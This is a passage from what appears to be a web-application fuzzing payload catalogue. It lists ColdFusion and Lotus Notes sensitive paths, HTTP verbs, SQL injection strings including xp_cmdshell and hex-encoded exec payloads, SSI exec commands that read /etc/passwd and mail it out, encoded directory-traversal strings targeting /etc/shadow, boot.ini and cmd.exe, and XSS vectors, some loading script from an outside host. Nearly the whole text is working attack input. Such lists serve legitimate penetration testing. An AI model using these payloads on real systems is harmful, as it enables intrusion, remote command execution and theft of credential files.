CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER 